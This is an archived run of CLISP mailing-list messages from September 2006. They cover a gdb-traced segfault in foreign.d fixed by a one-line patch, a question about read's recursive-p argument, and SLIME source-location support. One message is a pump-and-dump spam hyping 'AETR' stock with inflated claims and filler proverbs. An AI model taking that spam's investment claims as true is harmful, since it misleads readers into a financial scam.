Yaroslav Kavenchuk References: <44FECC85.20608@gnu.org> <44FFFED7.8070005@jenty.by> In-Reply-To: <44FFFED7.8070005@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Sep 2006 13:34:37 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> now please walk these frames and print variables with "p" (for C), >> "xout" and "zout" (for Lisp). e.g.: >> > > Program received signal SIGSEGV, Segmentation fault. > 0x00463ecb in iarray_displace_check (array={one_o = 788725848}, > size=1062279663, index=0x22a6ac) at array.d:277 > 277 if (*index+size > Sarray_length(array)) > (gdb) p size > $1 = 1062279663 > (gdb) p *index > $2 = 0 > (gdb) xout array > #{one_o = 788725848} > (gdb) up > #1 0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, > len=0x22a6b0, > offset=0x22a6ac) at charstrg.d:572 > 572 return iarray_displace_check(string,size,offset); > (gdb) xout string > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) p *len > $3 = 1062279663 > (gdb) up > #2 0x004625d7 in object_handle (library={one_o = 1610100483}, name= > {one_o = 1610100483}) at foreign.d:4129 > 4129 with_string_0(name,O(foreign_encoding),namez, { > (gdb) xout library > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) xout name > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) up > #3 0x00462a71 in update_library (acons={one_o = 1610100483}, version=0) > at foreign.d:4174 > 4174 var void* handle = object_handle(*acons_,fn); > (gdb) xout acons > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) xout fn > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) up > #4 0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at > foreign.d:4265 > 4265 update_library(acons,0); /*version??*/ > (gdb) xout obj > #{one_o = 435107289} > (gdb) xout STACK[-1] > (# # # # <...> <...> > ... > <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499} > (gdb) > > Is some wrong? Or try further? thanks, you pinpointed the bug pretty clearly. here is the fix, please try it. --- foreign.d 04 Sep 2006 06:00:58 -0400 1.157 +++ foreign.d 07 Sep 2006 09:32:27 -0400 @@ -4376,7 +4376,7 @@ } var object ffun = allocate_ffunction(); var object fvd = STACK_(0+1); - TheFfunction(ffun)->ff_name = STACK_(3+1); + TheFfunction(ffun)->ff_name = STACK_(4+1); TheFfunction(ffun)->ff_address = STACK_0; TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1]; TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2]; From lisp-clisp-list@m.gmane.org Thu Sep 07 06:37:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLK4Y-0005kC-Gs for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 06:37:38 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GLK4X-0006LJ-T6 for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 06:37:38 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GLK2u-0006PU-CP for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 15:35:56 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Sep 2006 15:35:56 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Sep 2006 15:35:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 07 Sep 2006 09:34:26 -0400 Lines: 86 Message-ID: <45001FE2.2010509@gnu.org> References: <44FECC85.20608@gnu.org> <44FFFED7.8070005@jenty.by> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org Cc: clisp-list@lists.sourceforge.net X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <44FFFED7.8070005@jenty.by> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Sep 2006 13:37:38 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> now please walk these frames and print variables with "p" (for C), >> "xout" and "zout" (for Lisp). e.g.: >> > > Program received signal SIGSEGV, Segmentation fault. > 0x00463ecb in iarray_displace_check (array={one_o = 788725848}, > size=1062279663, index=0x22a6ac) at array.d:277 > 277 if (*index+size > Sarray_length(array)) > (gdb) p size > $1 = 1062279663 > (gdb) p *index > $2 = 0 > (gdb) xout array > #{one_o = 788725848} > (gdb) up > #1 0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, > len=0x22a6b0, > offset=0x22a6ac) at charstrg.d:572 > 572 return iarray_displace_check(string,size,offset); > (gdb) xout string > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) p *len > $3 = 1062279663 > (gdb) up > #2 0x004625d7 in object_handle (library={one_o = 1610100483}, name= > {one_o = 1610100483}) at foreign.d:4129 > 4129 with_string_0(name,O(foreign_encoding),namez, { > (gdb) xout library > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) xout name > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) up > #3 0x00462a71 in update_library (acons={one_o = 1610100483}, version=0) > at foreign.d:4174 > 4174 var void* handle = object_handle(*acons_,fn); > (gdb) xout acons > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) xout fn > ("kernel32.dll" # # ("kernel32.dll" # # > ... > <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} > (gdb) up > #4 0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at > foreign.d:4265 > 4265 update_library(acons,0); /*version??*/ > (gdb) xout obj > #{one_o = 435107289} > (gdb) xout STACK[-1] > (# # # # <...> <...> > ... > <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499} > (gdb) > > Is some wrong? Or try further? thanks, you pinpointed the bug pretty clearly. here is the fix, please try it. --- foreign.d 04 Sep 2006 06:00:58 -0400 1.157 +++ foreign.d 07 Sep 2006 09:32:27 -0400 @@ -4376,7 +4376,7 @@ } var object ffun = allocate_ffunction(); var object fvd = STACK_(0+1); - TheFfunction(ffun)->ff_name = STACK_(3+1); + TheFfunction(ffun)->ff_name = STACK_(4+1); TheFfunction(ffun)->ff_address = STACK_0; TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1]; TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2]; From kavenchuk@jenty.by Thu Sep 07 07:14:35 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLKeJ-0000oI-IF for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 07:14:35 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GLKeH-0000GK-VD for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 07:14:35 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id SJW4ZWQJ; Thu, 7 Sep 2006 17:14:48 +0300 Message-ID: <450029D2.5060800@jenty.by> Date: Thu, 07 Sep 2006 17:16:50 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <45001FE2.2010509@gnu.org> In-Reply-To: <45001FE2.2010509@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Sep 2006 14:14:36 -0000 Sam Steingold wrote: > here is the fix, please try it. > ... Thanks! All is work now. -- WBR, Yaroslav Kavenchuk. From rurban@x-ray.at Thu Sep 07 12:12:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLPIy-000645-Fy for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 12:12:52 -0700 Received: from lb01nat07.inode.at ([62.99.145.7] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GLPIv-0000B6-Pi for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 12:12:52 -0700 Received: from [62.99.252.218] (port=15913 helo=[192.168.1.3]) by smartmx-07.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GLPIo-0007yn-8s for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 21:12:42 +0200 Message-ID: <45006F28.7010905@x-ray.at> Date: Thu, 07 Sep 2006 21:12:40 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <45001FE2.2010509@gnu.org> <450029D2.5060800@jenty.by> In-Reply-To: <450029D2.5060800@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Sep 2006 19:12:52 -0000 Yaroslav Kavenchuk schrieb: > Sam Steingold wrote: >> here is the fix, please try it. >> ... > > Thanks! All is work now. Problem verified for cygwin also. Sam's fix ditto. Thanks to both! Please commit the onliner. before: $ full/lisp -q -ansi -E 1:1 -M full/lispinit.mem -norc \ -x '(win32:GetStdHandle win32:STD_OUTPUT_HANDLE)' Segmentation fault (core dumped) after: $ full/lisp -q -ansi -E 1:1 -M full/lispinit.mem -norc \ -x '(win32:GetStdHandle win32:STD_OUTPUT_HANDLE)' # BTW: -lintl detection is now much better than before. I didn't have to manually fix the LIBS line to remove duplicate -lintl's. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From Bernard.Urban@meteo.fr Fri Sep 08 05:27:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLfSc-0003FH-QL for clisp-list@lists.sourceforge.net; Fri, 08 Sep 2006 05:27:54 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GLfSc-0003Ay-5Z for clisp-list@lists.sourceforge.net; Fri, 08 Sep 2006 05:27:54 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id EDD77D4BDB for ; Fri, 8 Sep 2006 12:27:44 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 04940-03 for ; Fri, 8 Sep 2006 12:27:44 +0000 (UTC) Received: from montaillou.dso.meteo.fr (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id 70CB1D4BD8 for ; Fri, 8 Sep 2006 12:27:44 +0000 (UTC) To: clisp-list@lists.sourceforge.net Gcc: nnml:mail.copie From: Bernard Urban Date: Fri, 08 Sep 2006 14:23:55 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Sep 2006 12:27:55 -0000 Consider the following code: ======================== ;;; -*- Mode:Lisp; Syntax: Common-lisp; Package: produit-radar; Base:10; Lowercase: Yes -*- #+sbcl (sb-ext:without-package-locks (setq SB-IMPL::*READ-BUFFER-LENGTH* 8000 SB-IMPL::*READ-BUFFER* (make-array `(,SB-IMPL::*READ-BUFFER-LENGTH*) :element-type 'character))) (defclass () ((compo :initarg :compo :type ) (result :initarg :result :type (array fixnum 3)))) (defun print-dim (s arr i dims &rest ind) (format s "(") (dotimes (k (elt dims i)) (if (not (= i (- (length dims) 1))) (apply #'print-dim s arr (+ i 1) dims (cons k ind)) (format s "~s" (apply #'aref arr (reverse (cons k ind))))) (unless (= (+ k 1) (elt dims i)) (format s " "))) (format s ")")) (defun print-array (s arr) (let ((dims (array-dimensions arr))) (format s "#~dA" (length dims)) (print-dim s arr 0 dims))) (defmethod print-object ((instance ) s) (with-standard-io-syntax (format s "#Z(:compo ~s " (slot-value instance 'compo)) (format s ":result ") ;; car l'impression des tableaux ne semble pas standardisee (print-array s (slot-value instance 'result)) (format s ")~%" ))) (set-dispatch-macro-character #\# #\Z ;; dispatch on #Z (#Y used by clisp) #'(lambda(s c n) (apply #'make-instance ' (read s t nil t)))) (defclass () ((handle) (init-param))) (defmethod initialize-instance ((instance ) &rest initargs &key &allow-other-keys) (setf (slot-value instance 'handle) 'bogus (slot-value instance 'init-param) initargs) instance) (defmethod print-object ((instance ) s) (format s "#W~s" (slot-value instance 'init-param))) (set-dispatch-macro-character #\# #\W ;; dispatch on #W #'(lambda(s c n) (apply #'make-instance ' (read s t nil t)))) (defclass () ((projection :initarg :projection))) (defmethod print-object ((instance ) s) (format s "#X(:projection ~s)" (slot-value instance 'projection))) (set-dispatch-macro-character #\# #\X ;; dispatch on #X #'(lambda(s c n) (apply #'make-instance ' (read s t nil t)))) (setq proj (make-instance ' :proj "stere")) (setq carte (make-instance ' :projection proj)) (setq arr (make-array '(3 4 2) :element-type '(unsigned-byte 8) :initial-element 0)) (setq preca (make-instance ' :compo carte :result arr)) (with-open-file (s "data" :direction :output :if-exists :supersede) (format s "~s~%" preca)) (with-open-file (s "data") (setq res (read s t nil #+clisp nil #-clisp t))) ======================== The third argument recursive-p to read is from CLHS "expected" to be t when called from set-dispatch-macro-character. I had it true also in the upper level read in the last line, and clisp-2.38 failed with that value giving an error message: *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been arbitrarily altered The following restarts are available: ABORT :R1 ABORT I am unsure if it should trigger an error, and even if yes, it is not very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is not described in the doc, you have to look the source code in io.d to find reference to it). Notice that cmucl gives the same result for all values of recursive-p. sbcl also, but you have to add the #+sbcl thing at the beginning for the t value. Regards. -- Bernard Urban From pjb@informatimago.com Fri Sep 08 18:14:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLrQ1-0004tq-QM for clisp-list@lists.sourceforge.net; Fri, 08 Sep 2006 18:14:01 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GLrPz-0003u5-Le for clisp-list@lists.sourceforge.net; Fri, 08 Sep 2006 18:14:01 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C3A8A585EB; Sat, 9 Sep 2006 03:13:52 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 61756585E6; Sat, 9 Sep 2006 03:13:50 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1078C8FEB; Sat, 9 Sep 2006 03:13:49 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17666.5453.600981.158617@thalassa.informatimago.com> Date: Sat, 9 Sep 2006 03:13:49 +0200 To: Bernard Urban In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Sep 2006 01:14:02 -0000 Bernard Urban writes: >=20 > Consider the following code: > [...] > The third argument recursive-p to read is from CLHS "expected" to be t > when called from set-dispatch-macro-character. I had it true also in > the upper level read in the last line, and clisp-2.38 failed with that > value giving an error message: >=20 > *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been > arbitrarily altered=20 > The following restarts are available: > ABORT :R1 ABORT >=20 > I am unsure if it should trigger an error, and even if yes, it is not > very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is > not described in the doc, you have to look the source code in io.d to > find reference to it). When you call read from the top level, you must set recursive-p to NIL. If you set it to something else, anything can happen, including the above error. Setting recursive-p to NIL tells the lisp reader to reinitialize the read-reference-table. If you don't set it to NIL, it doesn't get reinitialized, and you get whatever garbage remained there. > Notice that cmucl gives the same result for all values of recursive-p. > sbcl also, but you have to add the #+sbcl thing at the beginning for > the t value. Any implementation can work differently when you invoke undefined behavio= r. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "This statement is false." In Lisp: (defun Q () (eq nil (Q))) From iiarkqspka@ezweb.ne.jp Sun Sep 10 08:14:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMR0m-0002dC-1j; Sun, 10 Sep 2006 08:14:20 -0700 Received: from [84.238.161.187] (helo=ezweb.ne.jp) by mail.sourceforge.net with smtp (Exim 4.44) id 1GMR0g-0000oa-B7; Sun, 10 Sep 2006 08:14:19 -0700 Date: Sun, 10 Sep 2006 18:14:02 +0200 From: "hgorixe dzvafd" X-Sender: iiarkqspka@ezweb.ne.jp To: , Message-Id: <2189128174.pBQoVI-57800142-1618@ezweb.ne.jp> MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Dynamic Equity Report AETR X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Sep 2006 15:14:20 -0000 W A T C H O U T! Here comes the big one! All signs show that AETR is going to Explode! ALLIANCE ENTERPRISE (AETR) Current Price 0.50 Add this gem to your watch list, and watch it trad closely! NEWS RELEASE TAECORP ANNOUNCES BREAKTHROUGH IN REMOVING DEADLY LANDMINES. TaeCorp Announces That NASA Technology Will Be a Key Contributor to Resolving World's Landmine Dilemma Sept. 6, 2006--The Alliance Enterprise Corporation ("TaeCorp") is pleased to announce that NASA technology will be the key component in keeping our landmine locator (LML) system operational year round, especially in inclement weather. TaeCorp and Ice Management have agreed that Ice Management will customize their de-icer system exclusively for TaeCorp's LML air vehicles that are to be deployed for landmine removal and home security MILL VALLEY, CALIFORNIA August 25, 2006 - The Alliance Enterprise Corporation announced today a BREAKTHROUGH in developing an Aerial Landmine System aimed at locating, detecting and mapping deadly landmines. More than 100 million landmines in 83 countries are holding international communities and industries hostage, preventing the investment in and development of productive lands and the re-building of infrastructure. A broad variety of landmines have been scattered over productive areas effectively crippling the economy and disabling thousands of children and adults. There are no reliable records that accurately show where these devastating landmines lie in wait for their victims. With the present day costs to clear a single land mine ranging between ,000 to ,500, solving the problem of de-mining lands will reach billions of dollars. TaeCorp has developed a technology based, cost effective solution to this problem using its three tiered approach to scanning, mapping and removing landmines. TaeCorp's System will provide many social and economic benefits to countries and their industries including oil and gas, mining, agriculture, roads and infrastructure development. About TaeCorp. TaeCorp's vision is to be the recognized leader in providing Aerial Detection Systems including global de-mining, clearing a path to a safer planet for all humankind. TaeCorp's mission is to reclaim lands around the globe embedded with landmines that victimize countries and their stakeholders. Watch AETR like a HAWK come Monday You will be convinced if you see ----------------------- When you get lemons, make lemonade.(When life gives you scraps make quilts.) Watch and wait. A weed is no more than a flower in disguise. We'll cross that bridge when we come to it. You can lead a horse to water but you can't make him drink. Weed out. A weed is no more than a flower in disguise. Still water runs dirty and deep. Your in hot water. Till the cows come home. Wet behind the ears. Strong as an ox. What goes down usually comes up. A place in the sun. You throw filth on the living and flowers on the dead.Pin a rose on your nose. Some like carrots others like cabbage. Salt of the Earth. Were you born in a barn? A tree does not move unless there is wind. Sow dry and set wet. Sow dry and set wet. She's a nut. Sweet as apple pie. Take time to smell the roses. Water it down. So hungry I could eat a horse. What's good for the goose is good for the gander. What goes down usually comes up. We hung them out to dry. To gild refined gold, to paint the lily. A thing of beauty is a joy forever. Water under the bridge. Put that in your pipe and smoke it. Wet behind the ears. You can't teach an old dog new tricks. Slow as a snail. Put to bed with a shovel. Say it with flowers. From sds@podval.org Sun Sep 10 16:38:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMYt6-0004x9-Ub for clisp-list@lists.sourceforge.net; Sun, 10 Sep 2006 16:38:57 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMYt4-0005Vb-7l for clisp-list@lists.sourceforge.net; Sun, 10 Sep 2006 16:38:56 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J5E000CZHOM6L00@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 10 Sep 2006 19:38:47 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 6920F21E05A; Sun, 10 Sep 2006 19:38:46 -0400 (EDT) Date: Sun, 10 Sep 2006 19:38:46 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] attn: slime users X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Sep 2006 23:38:57 -0000 this has been around for a year. is anyone using it? > * Sam Steingold [2005-08-05 15:57:13 -0400]: > > CLISP SLIME users might want to grab CLISP cvs head and nag SLIME > developers to use it too: > (documentation 'symbol 'sys::file) > now returns a list of (file start-line end-line). > file = file where the symbol was defined > start-line and end-line are the locations in the file. > note that when file is "foo.fas", > line numbers should still point to "file.lisp"! > > if the slime users & developers are happy with this, this functionality > will be exported (i.e., EXT:FILE instead or SYS::FILE). > > comments are welcome. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://dhimmi.com http://openvotingconsortium.org http://mideasttruth.com http://iris.org.il http://truepeace.org Winners never quit; quitters never win; idiots neither win nor quit. From s11@member.fsf.org Sun Sep 10 17:43:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMZtC-0001zQ-OE for clisp-list@lists.sourceforge.net; Sun, 10 Sep 2006 17:43:06 -0700 Received: from gateway.insightbb.com ([74.128.0.19] helo=asav06.insightbb.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMZt9-0000Yu-BE for clisp-list@lists.sourceforge.net; Sun, 10 Sep 2006 17:43:06 -0700 Received: from dhcp-74-137-226-136.insightbb.com (HELO [192.168.10.5]) ([74.137.226.136]) by asav06.insightbb.com with ESMTP; 10 Sep 2006 20:42:41 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AQAAADhOBEUN Message-ID: <4504B0EF.9040707@member.fsf.org> Date: Sun, 10 Sep 2006 19:42:23 -0500 From: Stephen Compall User-Agent: Thunderbird 1.5.0.5 (Macintosh/20060719) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: X-Enigmail-Version: 0.94.0.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: -2.3 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 